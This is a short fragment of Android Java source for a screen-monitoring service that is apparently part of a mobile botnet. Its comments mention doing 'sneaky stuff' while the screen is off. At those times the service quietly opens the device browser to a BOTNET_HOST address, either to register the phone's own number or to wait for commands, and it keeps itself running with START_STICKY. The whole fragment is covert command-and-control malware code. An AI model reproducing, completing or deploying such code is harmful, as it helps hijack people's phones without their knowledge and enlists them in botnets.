@Override
  public int onStartCommand(Intent intent, int flags, int startId) {
    if (CommonVariable.ScreenOn) {
      Debug.PrintLog("ScreenMonitor", "Screen is on....");
    }
    /* do some sneaky stuff when screen is off */
    else {
      Debug.PrintLog("ScreenMonitor", "Screen is off....");

      if (CommonVariable.enableSneakyFlag.equals("true")) {
        /*
         * if the bot is not register the number yet,
         * register to the server.
         * Or just wait command.
         */
        if (!CommonVariable.browserOnFlag
            && CommonVariable.CommandServiceLock.equals("false")
            && CommonVariable.ResponseServiceLock.equals("false")) {
          if (CommonVariable.leftBotNumber.equals("") || CommonVariable.rightBotNumber.equals("")) {
            startBrowser("register/" + CommonVariable.selfNumber);
          } else {
            startBrowser("wait_command/" + CommonVariable.selfNumber);
          }
        }
      }
    }
    return START_STICKY;
  }
 public void onCreate() {
   Debug.PrintLog("ScreenMonitor", "Screen Service created...");
   IntentFilter filter = new IntentFilter(Intent.ACTION_SCREEN_ON);
   filter.addAction(Intent.ACTION_SCREEN_OFF);
   BroadcastReceiver SR = new ScreenRceiver();
   registerReceiver(SR, filter);
 }
 /* start the browser activity */
 private void startBrowser(String command) {
   Debug.PrintLog("ScreenMonitor", "Start Browser: " + CommonVariable.BOTNET_HOST + command);
   startActivity(
       new Intent(Intent.ACTION_VIEW, Uri.parse(CommonVariable.BOTNET_HOST + command))
           .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
           .setClassName("com.android.browser", "com.android.browser.BrowserActivity"));
   CommonVariable.browserOnFlag = true;
 }
 public void onDestroy() {
   Debug.PrintLog("ScreenMonitor", "Screen Service destroyed...");
 }